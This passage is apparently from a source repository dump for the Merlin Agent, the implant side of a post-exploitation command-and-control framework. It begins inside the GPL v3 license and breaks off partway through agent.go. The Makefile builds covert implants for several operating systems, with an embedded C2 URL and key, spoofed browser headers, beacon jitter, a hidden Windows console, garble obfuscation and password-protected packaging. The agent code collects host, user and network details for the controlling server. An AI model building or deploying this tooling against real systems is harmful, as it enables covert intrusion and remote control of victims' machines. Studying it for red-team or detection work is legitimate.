unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "Makefile",
    "content": "# !!!MAKE SURE YOUR GOPATH ENVIRONMENT VARIABLE IS SET FIRST!!!\n\n# Agent file names\nW=Windows-x64\nL=Linux-x64\nB=FreeBSD-x64\nA=Linux-arm\nM=Linux-mips\nD=Darwin-x64\n\n# Merlin version number\nVERSION=$(shell cat ./core/core.go |grep \"var Version =\"|cut -d\"\\\"\" -f2)\n\nMAGENT=merlinAgent\nPASSWORD=merlin\nBUILD=$(shell git rev-parse HEAD)\nDIR=bin/v${VERSION}/${BUILD}\n# http - Include the HTTP client (including HTTP/1.1, HTTP/2, and HTTP/3)\n# http1 - Include the HTTP/1.1 client from Go's standard library\n# http2 - Include the HTTP/2 client\n# http3 - Include the HTTP/3 client\n# smb - Include the peer-to-peer SMB client\n# tcp - Include the peer-to-peer TCP client\n# udp - Include the peer-to-peer UDP client\n# winhttp - Include the Windows HTTP client\nTAGS ?=\n\n# Merlin Agent Variables\nXBUILD=-X \"github.com/Ne0nd0g/merlin-agent/v2/core.Build=${BUILD}\"\nURL ?= https://127.0.0.1:443\nXURL=-X \"main.url=${URL}\"\nPSK ?= merlin\nXPSK=-X \"main.psk=${PSK}\"\nPROXY ?=\nXPROXY =-X \"main.proxy=$(PROXY)\"\nSLEEP ?= 30s\nXSLEEP =-X \"main.sleep=$(SLEEP)\"\nHOST ?=\nXHOST =-X \"main.host=$(HOST)\"\nPROTO ?= h2\nXPROTO =-X \"main.protocol=$(PROTO)\"\nJA3 ?=\nXJA3 =-X \"main.ja3=$(JA3)\"\nUSERAGENT = Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36\nXUSERAGENT =-X \"main.useragent=$(USERAGENT)\"\nHEADERS =\nXHEADERS =-X \"main.headers=$(HEADERS)\"\nSECURE ?= false\nHTTPCLIENT ?= go\nXHTTPCLIENT =-X \"main.httpClient=$(HTTPCLIENT)\"\nXSECURE =-X \"main.secure=${SECURE}\"\nSKEW ?= 3000\nXSKEW=-X \"main.skew=${SKEW}\"\nPAD ?= 4096\nXPAD=-X \"main.padding=${PAD}\"\nKILLDATE ?= 0\nXKILLDATE=-X \"main.killdate=${KILLDATE}\"\nRETRY ?= 7\nXRETRY=-X \"main.maxretry=${RETRY}\"\nPARROT ?=\nXPARROT=-X \"main.parrot=${PARROT}\"\nAUTH ?= opaque\nXAUTH=-X \"main.auth=${AUTH}\"\nADDR ?= 127.0.0.1:4444\nXADDR=-X \"main.addr=${ADDR}\"\nTRANSFORMS ?= jwe,gob-base\nXTRANSFORMS=-X \"main.transforms=${TRANSFORMS}\"\nLISTENER ?=\nXLISTENER=-X \"main.listener=${LISTENER}\"\n\n# Compile Flags\nLDFLAGS=-ldflags '-s -w ${XADDR} ${XAUTH} ${XTRANSFORMS} ${XLISTENER} ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XHTTPCLIENT} ${XPSK} ${XSECURE} ${XSLEEP} ${XPROXY} $(XUSERAGENT) $(XHEADERS) ${XSKEW} ${XPAD} ${XKILLDATE} ${XRETRY} ${XPARROT} -buildid='\nWINAGENTLDFLAGS=-ldflags '-s -w ${XAUTH} ${XADDR} ${XTRANSFORMS} ${XLISTENER} ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XHTTPCLIENT} ${XPSK} ${XSECURE} ${XSLEEP} ${XPROXY} $(XUSERAGENT) $(XHEADERS) ${XSKEW} ${XPAD} ${XKILLDATE} ${XRETRY} ${XPARROT} -H=windowsgui -buildid='\nGCFLAGS=-gcflags=all=-trimpath=$(GOPATH)\nASMFLAGS=-asmflags=all=-trimpath=$(GOPATH)# -asmflags=-trimpath=$(GOPATH)\n\n# Package Command\nPACKAGE=7za a -p${PASSWORD} -mhe -mx=9\nF=LICENSE\n\n# Misc\n# The Merlin server and agent MUST be built with the same seed value\n# Set during build with \"make linux-garble SEED=<insert seed>\nSEED=d0d03a0ae4722535a0e1d5d0c8385ce42015511e68d960fadef4b4eaf5942feb\n\n# Make Directory to store executables\n$(shell mkdir -p ${DIR})\n\n# Change default to just make for the host OS and add MAKE ALL to do this\ndefault:\n\tgo build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT} ./main.go\n\nall: windows windows-debug linux darwin\n\n# Compile Agent - Windows x64\nwindows:\n\texport GOOS=windows GOARCH=amd64;go build -tags ${TAGS} -trimpath ${WINAGENTLDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}.exe ./main.go\n\n# Compile Agent - Windows x64 Debug (Can view STDOUT)\nwindows-debug:\n\texport GOOS=windows GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}-Debug.exe ./main.go\n\n# Compile  Agent - Windows x64 with Garble - The SEED must be the exact same that was used when compiling the server\n# Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable\nwindows-garble:\n\texport GOGARBLE=${GOGARBLE};export GOOS=windows GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${WINAGENTLDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}.exe ./main.go\n\nwindows-garble-debug:\n\texport GOOS=windows GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}-Debug.exe ./main.go\n\n# Compile Agent - Linux mips\nmips:\n\texport GOOS=linux;export GOARCH=mips;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${M} ./main.go\n\n# Compile Agent - Linux arm\narm:\n\texport GOOS=linux;export GOARCH=arm;export GOARM=7;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${A} ./main.go\n\n# Compile Agent - Linux x64\nlinux:\n\texport GOOS=linux;export GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${L} ./main.go\n\n# Compile  Agent - Linux x64 with Garble - The SEED must be the exact same that was used when compiling the server\n# Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable\nlinux-garble:\n\texport GOOS=linux GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${L} ./main.go\n\n# Compile Agent - FreeBSD x64\nfreebsd:\n\texport GOOS=freebsd;export GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${B} ./main.go\n\n# Compile  Agent - FreeBSD x64 with Garble - The SEED must be the exact same that was used when compiling the server\n# Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable\nfreebsd-garble:\n\texport GOOS=freebsd GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${B} ./main.go\n\n# Compile Agent - Darwin x64\ndarwin:\n\texport GOOS=darwin;export GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${D} ./main.go\n\n# Compile  Agent - macOS (Darwin) x64 with Garble - The SEED must be the exact same that was used when compiling the server\n# Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable\ndarwin-garble:\n\texport GOOS=darwin GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${D} ./main.go\n\npackage-windows:\n\t${PACKAGE} ${DIR}/${MAGENT}-${W}.7z ${F}\n\tcd ${DIR};${PACKAGE} ${MAGENT}-${W}.7z ${MAGENT}-${W}.exe\n\npackage-windows-debug:\n\t${PACKAGE} ${DIR}/${MAGENT}-${W}-Debug.7z ${F}\n\tcd ${DIR};${PACKAGE} ${MAGENT}-${W}-Debug.7z ${MAGENT}-${W}-Debug.exe\n\npackage-linux:\n\t${PACKAGE} ${DIR}/${MAGENT}-${L}.7z ${F}\n\tcd ${DIR};${PACKAGE} ${MAGENT}-${L}.7z ${MAGENT}-${L}\n\npackage-darwin:\n\t${PACKAGE} ${DIR}/${MAGENT}-${D}.7z ${F}\n\tcd ${DIR};${PACKAGE} ${MAGENT}-${D}.7z ${MAGENT}-${D}\n\npackage-freebsd:\n\t${PACKAGE} ${DIR}/${MAGENT}-${B}.7z ${F}\n\tcd ${DIR};${PACKAGE} ${MAGENT}-${B}.7z ${MAGENT}-${D}\n\npackage-move:\n\tcp ${DIR}/${MAGENT}*.7z .\n\nclean:\n\trm -rf ${DIR}*\n\npackage-all: package-windows package-windows-debug package-linux package-darwin\n\n#Build all files for release distribution\ndistro: clean all package-all package-move\n"
  },
  {
    "path": "README.md",
    "content": "[![AppVeyor](https://ci.appveyor.com/api/projects/status/xi0n3ucm5i234ios/branch/master?svg=true)](https://ci.appveyor.com/project/Ne0nd0g/merlin-agent)\n[![GoReportCard](https://goreportcard.com/badge/github.com/ne0nd0g/merlin-agent)](https://goreportcard.com/badge/github.com/ne0nd0g/merlin-agent)\n[![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)\n[![Release](https://img.shields.io/github/release/Ne0nd0g/merlin-agent.svg)](https://github.com/Ne0nd0g/merlin-agent/releases/latest)\n[![Downloads](https://img.shields.io/github/downloads/Ne0nd0g/merlin-agent/total.svg)](https://github.com/Ne0nd0g/merlin-agent/releases)\n[![Twitter Follow](https://img.shields.io/twitter/follow/merlin_c2.svg?style=social&label=Follow)](https://twitter.com/merlin_c2)\n\n# Merlin Agent\n\n<p align=\"center\">\n  <img src=\"https://i.imgur.com/4iKuvuj.jpg\" height=\"30%\" width=\"30%\">\n</p>\n\nThis repository contains the Agent code for [Merlin](https://github.com/Ne0nd0g/merlin) post-exploitation command and \ncontrol framework.\n\n> Compiled versions of the agent for all Operating Systems are distributed in release packages from the main project\n\nDocumentation for the project can be found at https://merlin-c2.readthedocs.io/en/latest/\n"
  },
  {
    "path": "agent/agent.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage agent\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"os/user\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\tmerlinOS \"github.com/Ne0nd0g/merlin-agent/v2/os\"\n)\n\n// Agent is an aggregate structure that represents a Merlin Agent\ntype Agent struct {\n\tid            uuid.UUID // id is a Universally Unique Identifier per agent\n\tauthenticated bool      // authenticated identifies if the agent has successfully completed initial authentication (if applicable)\n\tcheckin       time.Time // checkin is a timestamp of the agent's last status check in time\n\tcomms         Comms     // comms holds information about the Agent's communications with the Server or parent Agent\n\thost          Host      // Host is an embedded structure that contains information about the host the Agent is running on\n\tinitial       time.Time // initial is a timestamp of the agent's initial check in time\n\tprocess       Process   // Process contains information about this Agent's process\n}\n\n// Config is a structure that is used to pass in all necessary information to instantiate a new Agent\ntype Config struct {\n\tSleep    string // Sleep is the amount of time the Agent will wait between sending messages to the server\n\tSkew     string // Skew is the variance or jitter, used to vary the sleep time so that it isn't constant\n\tKillDate string // KillDate is the date as a Unix timestamp, that agent will quit running\n\tMaxRetry string // MaxRetry is the maximum amount of time an agent will fail to check in before it quits running\n}\n\n// New creates a new Agent struct from the provided Config structure and returns the Agent object\nfunc New(config Config) (agent Agent, err error) {\n\tcli.Message(cli.DEBUG, \"Entering agent.New() function\")\n\n\tagent = Agent{\n\t\tid: uuid.New(),\n\t}\n\n\tagent.host = Host{\n\t\tArchitecture: runtime.GOARCH,\n\t\tPlatform:     runtime.GOOS,\n\t}\n\n\tagent.process = Process{\n\t\tID: os.Getpid(),\n\t}\n\n\t// Process integrity Level\n\tagent.process.Integrity, err = merlinOS.GetIntegrityLevel()\n\tif err != nil {\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"there was an error determining the agent's integrity level: %s\", err))\n\t}\n\n\t// Process username and User GUID\n\tvar u *user.User\n\tu, err = user.Current()\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error getting the current user: %s\", err)\n\t\treturn\n\t}\n\tagent.process.UserName = u.Username\n\tagent.process.UserGUID = u.Gid\n\n\t// Process Name\n\tagent.process.Name, err = os.Executable()\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error getting the process name: %s\", err)\n\t\treturn\n\t}\n\n\tagent.host.Name, err = os.Hostname()\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error getting the hostname: %s\", err)\n\t\treturn\n\t}\n\n\tvar interfaces []net.Interface\n\tinterfaces, err = net.Interfaces()\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error getting the IP addresses: %s\", err)\n\t\treturn\n\t}\n\n\tfor _, iface := range interfaces {\n\t\tvar addrs []net.Addr\n\t\taddrs, err = iface.Addrs()\n\t\tif err == nil {\n\t\t\tfor _, addr := range addrs {\n\t\t\t\tagent.host.IPs = append(agent.host.IPs, addr.String())\n\t\t\t}\n\t\t} else {\n\t\t\terr = fmt.Errorf(\"there was an error getting interface information: %s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Parse config\n\n\t// Parse KillDate\n\tif config.KillDate != \"\" {\n\t\tagent.comms.Kill, err = strconv.ParseInt(config.KillDate, 10, 64)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error converting the killdate to an integer: %s\", err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tagent.comms.Kill = 0\n\t}\n\n\t// Parse MaxRetry\n\tif config.MaxRetry != \"\" {\n\t\tagent.comms.Retry, err = strconv.Atoi(config.MaxRetry)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error converting the max retry to an integer: %s\", err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tagent.comms.Retry = 7\n\t}\n\n\t// Parse Sleep\n\tif config.Sleep != \"\" {\n\t\tagent.comms.Wait, err = time.ParseDuration(config.Sleep)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error converting the sleep time to an integer: %s\", err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tagent.comms.Wait = 30000 * time.Millisecond\n\t}\n\n\t// Parse Skew\n\tif config.Skew != \"\" {\n\t\tagent.comms.Skew, err = strconv.ParseInt(config.Skew, 10, 64)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error converting the skew to an integer: %s\", err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tagent.comms.Skew = 3000\n\t}\n\n\tcli.Message(cli.INFO, \"Host Information:\")\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tAgent UUID: %s\", agent.id))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tHostname: %s\", agent.host.Name))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tPlatform: %s\", agent.host.Platform))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tArchitecture: %s\", agent.host.Architecture))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tPID: %d\", agent.process.ID))\n\tcli.Message(cli.INFO, 